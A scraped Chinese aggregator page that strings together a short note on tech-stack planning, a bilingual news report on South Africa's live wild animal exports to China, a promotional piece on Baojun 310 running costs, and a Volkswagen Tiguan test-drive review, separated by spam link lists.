技術儲備和技術棧規劃方面: 中小型創業型公司,非技術驅動的公司 關注中長期發展的技術與趨勢,不要太超前,不必做小白鼠   舊系統改造方面: 假如不能明顯的產生業務價值,單純的把報表生成把半小時優化到5分鐘,不如做一些其他更有業務價值的任務 假如沒有其他高附件值任務可以去做,假如報表生成佔用研發時間減少了質量保證時間,影響了交付質量也可以去做  

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※回頭車貨運收費標準

※推薦評價好的iphone維修中心

※超省錢租車方案

台中搬家遵守搬運三大原則,讓您的家具不再被破壞!

※推薦台中搬家公司優質服務,可到府估價

南非野生動物交易黑市 高價賣往中國的真相:淪落動物園、實驗室、肉品市場

環境資訊中心外電;姜唯 翻譯;林大利 審校;稿源:ENS 編按:接續
上篇,近期一份報告「南非與中國間可恥的野生動物貿易」揭露南非政府放任野生動物活體市場、違反國際公約的真相。報告由南非非政府組織「EMS基金會」和「禁止動物貿易(Ban Animal Trading)」發表,他們指控,包括黑猩猩、孟加拉虎、狼、非洲野犬和獅子在內,數千種瀕臨滅絕的野生動物從南非銷往中國,法規和審核流程毫無作用、動物福利和自然保護原則遭到忽視,並提供確切犯罪證據。

動物福利問題

雖然瀕危物種貿易公約(CITES)應該保證出口的野生動物到達「適當和可接受的目的地」,但從南非銷往中國的野生動物最終可能成為寵物、古董、食品、傳統藥材、動物園展示動物或實驗動物。

報告指出,由於許多動物是由最初的進口商出售給未知的第三方,通常無法確定其最終目的地。

在中國,進口野生動物的飼養設施通常品質不良。以出售給北京野生動物公園的黑猩猩為例,牠們抵達中國時,籠舍等設施還沒完工,也沒有合格的員工來照顧牠們。

來自南非的黑猩猩被關在北京野生動物公園中狹窄的展示空間內。
報告截圖

這些動物中有許多是為了娛樂目的而運往中國成千上萬個公有或私有「野生動物園」、主題公園和馬戲團。根據該報告,其中有些機構涉嫌虐待動物、環境設備條件惡劣、訓練野生動物表演以及非法購買野生動物。

從南非出口的大多數非靈長類動物,包括數百隻狨屬猴子,是賣給中間商、批發商和繁殖場,最終進入會執行活體切片的生物醫學、化妝品和製藥實驗室。

道德破產的政策

報告中提供的證據清楚地顯示,南非的野生動物貿易沒有任何保育作用。加上牽涉到瀕危物種,中國的最終目的地大多很可疑以及貿易活動刺激需求成長,這條供應鏈對生物多樣性和物種生存的影響,比較可能是弊遠大於利。

這個產業的真正動機並不難發現。根據這份報告,一間南非公司出於所謂非商業目的向一間中國公司出口的18隻黑猩猩,價格超過750萬南非幣(約新台幣1287萬元),100隻狐獴的行情價格為60萬南非幣(約新台幣102萬元),57頭長頸鹿700萬南非幣(約新台幣1201萬元)和18隻非洲野犬100萬南非幣(約新台幣171萬元)。

多年來,南非政府一直在積極推動這個獲利導向的行業,無視CITES及其自己的出口法規,還大力推廣「永續利用」,將野生動物視為養殖和出口商品,將保育責任推給國際市場。

100隻狐獴的行情價格為60萬南非幣(3萬4460美元)。照片來源:Jarod Carruthers(CC BY-NC-ND 2.0)

EMS基金會負責人皮克佛(Michele Pickover)表示,這份報告的前一個版本已經寄給南非各相關政府部門和官員,裡面有清楚的非法獅骨貿易證據,「但我們從未收到任何人的任何回應,這不是無能,是無視。」

考慮到武漢肺炎(COVID-19)危機,忽視貿易問題將牽涉刑事責任。南非政府若繼續支持和合法化這個危害國內生態系統和生物多樣性的產業,就是使全世界暴露於新型人畜共通傳染病的風險,就應對相關生態破壞、人類健康和財務後果承擔某些責任。

作者呼籲南非政府放棄有爭議的野生動植物貿易政策,並禁止出口活體野生動物及其身體部位。

「報告明確指出,任何人工繁殖和貿易都使消費合法化和常態化,影響減少需求的呼籲互相矛盾,使野生物種面臨進一步開發的風險。」

作者呼籲用新的全球協議代替CITES,以「野生動物貿易不適當、適得其反、不道德和根本非永續」為基本指導原則。

South Africa’s Live Wild Animal Trade to China Exposed CAPE TOWN, South Africa, May 26, 2020(ENS)

Animal Welfare Concerns

While CITES rules are supposed to guarantee that exported live wild animals go to “appropriate and acceptable destinations,” those traded from South Africa to China may end up being used as pets, curios, food, ingredients in traditional medical practices, zoo exhibits or laboratory test subjects.

The report notes that since many animals are sold on to unknown third parties by the initial importers, their final destination is frequently impossible to ascertain.

Facilities housing imported wild animals in China are often of an inferior standard. In the case of the chimpanzees sold to the Beijing Wild Animal Park, for example, their accommodation was not yet completed on their arrival in the country and the facility did not have qualified staff to take care of them.

Many of the animals are destined for China’s thousands of government-run or privately-owned “safari parks,” zoos, theme parks and circuses for the sole purpose of entertainment. According to the report, several of these institutions have been exposed for animal abuse, poor conditions and facilities, training wild animals to perform for audiences and illegally buying wild-caught animals.

Most of the non-human primates exported from South Africa, including hundreds of marmosets, are sold to brokers, wholesalers and breeding farms, and many of them end up in laboratories conducting experiments, including vivisection, for the biomedical, cosmetic and pharmaceutical industries.

Morally Bankrupt Government Policies

The evidence presented in the report makes it abundantly clear that South Africa’s trade in live wild animals has no conservation value whatsoever. Given the involvement of endangered species, the frequently dubious final destinations in China and the fact that the trade stimulates growing demand, it’s more likely to have a detrimental impact on biodiversity and species survival.

The true motivation for this industry is not hard to find. The 18 chimps exported from a commercial entity in South Africa for supposedly non-commercial purposes to a commercial entity in China came at a cost of over R7.5 million (US$430,758). The report lists the going price for 100 meerkats at R600,000 (US$34,460), 57 giraffes at R7million (US$402,000) and 18 African Wild Dogs at R1 million (US$57,430).

The South African government has been actively enabling this profit-driven industry for years. It has done so through its laissez-faire disregard for CITES and its own export regulations and through its aggressive promotion of a “sustainable use” philosophy that treats wild animals as mere commodities to be bred and sold while leaving conservation concerns to the supposed benevolence of international markets.

According to Michele Pickover, director of the EMS Foundation, copies of an earlier and equally damaging EMS/Ban Animal Trading report on South Africa’s trade in lion bones clearly detailing illegal activities was sent to various domestic authorities and individuals in government.

“We never received any response from any of them,” Pickover says. “This is not a case of incompetence. They are ignoring us.”

Given the COVID-19 disaster, ignoring this issue amounts to criminal negligence. As long as the South African government continues to support and legitimise an industry that endangers the biodiversity of domestic ecosystems while exposing the entire world to novel zoonotic diseases, it bears some responsibility for the devastating ecological, human health and financial consequences it causes.

The authors call for the government to abandon its controversial wildlife trade policies and to ban the export of living wild animals and their body parts.

They write, “The report makes clear that any captive breeding and trade legitimises and normalises consumption, which renders demand reduction campaigns incoherent and ineffective, and puts wild species at further risk of exploitation.”

The authors call for the replacement of CITES with a different global agreement that would have as its fundamental guiding principle that “the trade in wild animals is inappropriate, counter-productive, unethical and fundamentally unsustainable.”

※ 全文及圖片詳見:ENS

出售野生動物
CITES
走私
活體動物
動物福利
道德
國際新聞
南非
美國
生態保育
生物多樣性

作者

姜唯

如果有一件事是重要的,如果能為孩子實現一個願望,那就是人類與大自然和諧共存。

林大利

於特有生物研究保育中心服務,小鳥和棲地是主要的研究對象。是龜毛的讀者,認為龜毛是探索世界的美德。

延伸閱讀

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

自從開上了寶駿310,媽媽再也不擔心我養不起車!

寶駿的保養成本,每天只需1。9元對於第一輛車,每一個人都恨不得給予其最好的養護。對此,寶駿可謂善解人意地為寶駿310制定了極為低廉的養護費用標準,這無疑能夠讓每一個寶駿310的車主節省很大的一筆錢。到底有多省,我們按照寶駿310維修保養手冊的標準算一算便清晰可知。

誰又會想過一部IpHONE 7的價格能完成一輛車的首付。至少在寶駿310面世以前,沒有人去假設過這一可能性。3.68萬的起售價,4.98萬的頂配封頂,寶駿310讓“年輕人的第一輛車“的門檻降低到了讓人詫異的地步。而在頗有吸引力的價格背後,我們看到了年輕動感的設計、豐富多元的配置、寬敞舒適的空間,這也直接造就了寶駿310在11月收穫高達15006輛的銷量。“年輕人的第一輛車”這個稱號,頗有幾分份量。

不過很顯然,寶駿310希望把“年輕人的第一輛車”這個名號更徹底地貫徹下去。所以在用車成本這項決定着用戶是“用一輛車”還是“養一輛車”的問題上,寶駿310在整個產品的生命周期內為年輕人提供了幾乎零壓力的用車成本。對於尚處於奮鬥的年輕人來說:沒有比這更讓人愉快的事情了。

超長的保修政策!完全沒有後顧之憂!

保修期的重要性,我想每一個人都很清楚。小到手機,大到冰箱,再到汽車,無一例外。這不僅是關乎消費者對產品本身的信心,更重要的是:萬一產品因為質量而壞了,消費者能夠找到一個可靠的人來把它免費修好。而寶駿310,也堪稱豪爽地給出了2年或5萬公里的三包有效期以及5年10萬公里的整車保修期。

正所謂沒有對比就沒有傷害。本田飛度的整車保修期為3年或10萬公里;豐田卡羅拉的整車保修期為3年或10萬公里。寶駿310的整車保修期足足比這些主流的合資車型多出了2年的時間。2年的時間能夠做些什麼?或許你能夠成為老闆;或者結婚成為愛情奴;又或者把歐洲都走上一遍。而這兩年的時間,你壓根不用擔心你的寶駿310。

而更貼心的是,寶駿310的免費首保服務(3個月或5000公里)包含了機油更換、機油濾芯更換以及工時費在內的全部保養費用。首保,沒有任何一分的費用。

修不起車?!寶駿的保養成本,每天只需1.9元

對於第一輛車,每一個人都恨不得給予其最好的養護。對此,寶駿可謂善解人意地為寶駿310制定了極為低廉的養護費用標準,這無疑能夠讓每一個寶駿310的車主節省很大的一筆錢。到底有多省,我們按照寶駿310維修保養手冊的標準算一算便清晰可知。

按照寶駿310維修保養手冊的標準,寶駿310三年下來的正常養護費用只需要2128元(按每年行駛15000公里為標準)。倘若把筆養護費用按天來計算,呵呵,那真是嚇壞寶寶—1.9元。相信我,這不是電視購物的忽悠。

加不起油?!寶駿310的油費低到你不信

比起正常養護,或許油費更能引起大家的關注,畢竟加油的頻率要比養護要高太多。不過比起其他車主對於油價的膽顫心驚,寶駿310車主絕對要淡定許多。原因無他,寶駿310搭載了一台高效的1.2L自然吸氣四缸發動機(最大馬力82ps,最大扭矩116Nm),並且配備了一台5檔的手動變速箱。按照寶駿310在工信部的認定油耗來計算(5.3L/百公里,實際車主反映也符合這一數據),三年下來(每年行駛15000公里),寶駿310的油耗只需要14167元(92號汽油)。對比起那些油耗動輒8L、9L的轎車、SUV來說,寶駿310的油耗恐怕不是一個省字能夠概括。所以我想那些寶駿310的車主一定都是些喜歡四處亂逛的人,畢竟他們都不需要擔心油費。

媽媽再也不用擔心我買不起保險了

寶駿310的價格優勢除了直接拉低了年輕人的購買門檻以外,也使得年輕人許多負擔的車險費用大大降低。以售價4.98萬的寶駿310 【2016款 1.2L 手動豪華型】為例,在第三者50萬以及險種齊全的情況下,交強險加上商業險的總費用只需要5000元/一年。而且按照現在的保險法,假如車主出險的次數較少,這一商業險費用還有很大的下降空間。

沒有車比寶駿310更勝任“年輕人的第一台車”

很明顯,寶駿310是很能夠代表“年輕人的第一台車”的,不僅因為其低得讓人詫異的售價,更因為其自身擁有着匹配於年輕人經濟能力的用車成本。對於購買寶駿310的消費者來說,使用寶駿310是一種毫無壓力的出行方式,而不是給自身帶來額外的經濟壓力。而這正是現時許多年輕人所真真切切需要的。

吃一頓賣相稍好的快餐,買一張講求緣分的打折電影票,買一件摻雜着劣質尼龍面料的T恤。而現在,同等的價值你可以選擇駕駛寶駿310去各種你想去的地方,這才是年輕人該做的事。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※回頭車貨運收費標準

還值得大家加價提車嗎?神車SUV途觀的評測來了!

更綿密的齒比、更迅捷的換擋速度,新途觀(進口)的行駛舒適性得到極大提高。除了1、2擋輕微頓挫所帶來的瑕疵,它換擋的平順性很容易征服那些鍾情CVT車型的消費者,對動力的傳遞也遠比傳統的自動變速箱更加直接。無論你需要哪一種動力響應,這台變速箱都能夠把你伺候妥帖。

駕車從深南大道的洲際酒店駛出,一路沿途上都收穫了不少關注的目光。試駕活動參加過不少,這樣的情況並不多見。當然,放在新途觀(進口)上,這也是合理的一件事。

對於一款持續數年時間需要加價銷售的SUV來說,途觀本身就要比翼虎、奇駿這類的美日系車型更能博得人們的關注。甚至比起更高一級的寶馬X1、奧迪Q3等德系豪華車型,途觀也屬有恃無恐的那一類。所以當我開着新途觀(進口)在熙然的深圳街頭穿梭,那是一個讓人驚艷的畫面。

▼純正的歐洲風味

我手上的這台新途觀(進口)剛從德國運抵中國,便被送到我的手上,一方面它保持着最初始的出廠設定(甚至胎壓也被設置為船運胎壓),而另一方面它保持了最純正的歐洲風格調校。

也正因如此,新途觀(進口)的底盤調校要比市面上的SUV車型都要硬朗更多,比起現款的國產途觀更甚。不以舒適為導向的懸挂很願意把路面的每一個細節毫無保留地傳遞給駕駛者。若是遇到減速帶這類起伏較大的障礙,那乾脆的蹦蹦聲響能夠清晰地體現出懸挂中後段的硬氣。更多的時候,我們耍起了凌波微步,以求躲閃深圳街頭那永遠也修不好的坑窪。大眾的工程師告訴我,國產後這一情況會被改善的。

完全按照歐洲人口味打造的新途觀(進口)並沒有在深圳街頭找到它拳腳的空間,於是我們把新途觀(進口)開上了廣深沿江高速。修繕較好的四車道以及120公里的限速,這更符合歐洲人的駕駛環境。新途觀(進口)並沒有讓人失望:高速巡航的穩定性並不亞於漢蘭達這樣的中大型SUV;快速變換車道,也沒有搖曳的姿態。事實上,新途觀(進口)的行駛穩定性足夠讓你捨棄選擇轎車。再加上帶方向糾正的車道偏離預防功能,在高速上鬆開方向盤已經不再值得炫耀。

▼7.7秒的爽快

作為基於大眾最新MQB平台誕生的新途觀(進口),擁有1.4T(EA211)、2.0T(第三代EA888 低功率)、2.0T(第三代 EA888 高功率)三種動力,按照大眾的動力標識分別為280 TSI、330 TSI、380 TSI。其中280 TSI版本搭載的是大家所熟悉的DQ250 6速雙離合變速箱,而330 TSI以及380 TSI則搭載大眾最新的DQ500 7速雙離合變速箱。

我開的是330 TSI版本的頂配車型,180ps的最大馬力在4000-6000rpm間輸出,320Nm的最大扭矩在1500-3940rpm間輸出,配備了四輪驅動。官方的百公里加速成績為7.7s,與上代的2.0TSI車型的9.9s相比,是一個長足的進步。

新途觀(進口)依舊把動力的充分響應隱藏在油門踏板的中後段,比起一眾的日韓系對手,它循序漸進的提速感更讓人安心。但有必要強調的是:新途觀(進口)的動力輸出要比上代車型進取太多。尤其在中低速情況下,轉速指針已經不再需要頻繁突破2000rpm。2000rpm以下,動力的表現已經游刃有餘。而中高速的提速,爽快利落便足夠形容。

▼連降4擋的瘋狂

這當中,DQ500 7速雙離合變速箱貢獻了不少的功勞。經過離合器和齒輪箱的整體優化,這款變速箱已經能夠承受最大600Nm的扭矩。而更重要的是,這台變速箱在帶來更多擋位的情況下,實現了更小的體積。當然,這台變速箱更早便已經被運用在大眾集團旗下的奧迪車型上,購買新途觀(進口)的消費者不是第一個吃螃蟹的人。

顯然,用上DQ500 7速雙離合變速箱是一個明智決定。更綿密的齒比、更迅捷的換擋速度,新途觀(進口)的行駛舒適性得到極大提高。除了1、2擋輕微頓挫所帶來的瑕疵,它換擋的平順性很容易征服那些鍾情CVT車型的消費者,對動力的傳遞也遠比傳統的自動變速箱更加直接。無論你需要哪一種動力響應,這台變速箱都能夠把你伺候妥帖。而更吸引我的,是大腳油門下變速箱連降4擋的瘋狂。沒有遲疑,轉速指針能夠瞬間從1500rpm的位置瞬間陡升到5000rpm的位置,180ps的動力噴薄而出。

▼開途觀去劈山吧

我們決定把新途觀(進口)拉到大梅沙附近的山上好拍些照片,順便更好地在山路間檢驗它身上的歐洲風味。我試駕的330 TSI頂配車型配備了舒適、經濟、標準、運動、個性五種駕駛模式,同時還擁有雪地、公路、越野、個性越野的路況選擇功能。通過換擋桿旁的旋鈕可以選擇駕駛員所適合的駕駛模式。

我把駕駛模式設置在了運動模式上,明顯感覺到的是DCC底盤動態控制被調至更緊繃的狀態,發動機轉速也以2000rpm作為起步的基準,而方向盤則變得更為粘手以及沉實。在狹窄陡斜的山道,更晚的剎車、更大的轉彎角度、更大的出彎油門。硬朗的懸挂支撐加上四輪驅動系統的加持,新途觀(進口)對車身的控制與我判斷的一樣:紮實、靈活。新途觀(進口)提供了很多SUV都不所具備的運動。在老款途觀車主的角度看來,這運動得有點不可思議。當然,輪胎的緣故以及龐大的車身尺寸,仍然無法使得新途觀(進口)達到翼虎這種主打運動操控的SUV的表現。但是,運動得足夠了。

▼大眾精神的捍衛者

在山的某個角落,我終於有了停下的機會好好端詳這輛從彼岸遠渡而來的新途觀(進口)。上代車型的圓潤元素被完全抽離了,新途觀(進口)的身上被大量橫七豎八的直線線條所佔據,這是大眾未來的設計風格,全新邁騰、輝昂都有着這樣的濃烈味道。而為了彰顯出SUV的身份,橫向的中網被設計為立體感更強的盔甲狀,發動機蓋上的V型輪廓線條被打造得異常明顯,霧燈區域配備了強調運動化的黑色空氣套件。新途觀(進口)的硬朗風格大大超越了它的同門兄弟們。

側面依然是大眾喜歡炫耀製造工藝的舞台。兩條清晰立體的小倒角特徵線由前車門處貫穿至車尾。門把、尾燈被特徵線所連接,除了設計上的大膽,精準的生產工藝也屬必不可少的要素。德系車一貫的工藝精緻感仍然是最大的表現。而尾部則比側面更強調立體感,F狀的尾燈造型以及切割狀的牌照區域都讓人能夠在第一眼辨析出新途觀(進口)的獨特性。

其次,把新途觀(進口)的車身尺寸變大,成了大眾工程師的一項工作重點。新途觀(進口)長寬高達到4490mm/1859mm/1657mm,軸距為2681mm。除了高度要比上代車型降低46mm,其餘數據均有了跨越性的增長。至此,新途觀(進口)在軸距尚未加長的情況下,已經有了足夠的空間表現。

至於內飾上的設計,新途觀(進口)全面向最新的家族式設計看齊。可玩度頗高的12.3寸的数字化儀錶盤、8寸的多媒體中控屏、平直的線條設計,都足夠讓人熟悉。當然,這些都不如人機設計的改善更能討好我。車窗升降控制鍵回歸至傳統的位置;方向盤採用了更好感知角度的平底方向盤;前排座椅靠背上增設了可摺疊的小桌板。這一代的途觀(進口)變得容易親近了許多。

比起上一代的車型,這一代的途觀進化了太多。它更富有時代性,它也更能滿足年輕消費者對於運動性的需求,它匯聚了大眾最新、最具有代表性的設計以及技術。它着實驚艷到了我。或許你會抱怨它的底盤太硬,或許你會抱怨它的售價太貴,但相信我,它比BBA矚目多了。

本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

網頁設計最專業,超強功能平台可客製化

※產品缺大量曝光嗎?你需要的是一流包裝設計!

台中搬家遵守搬運三大原則,讓您的家具不再被破壞!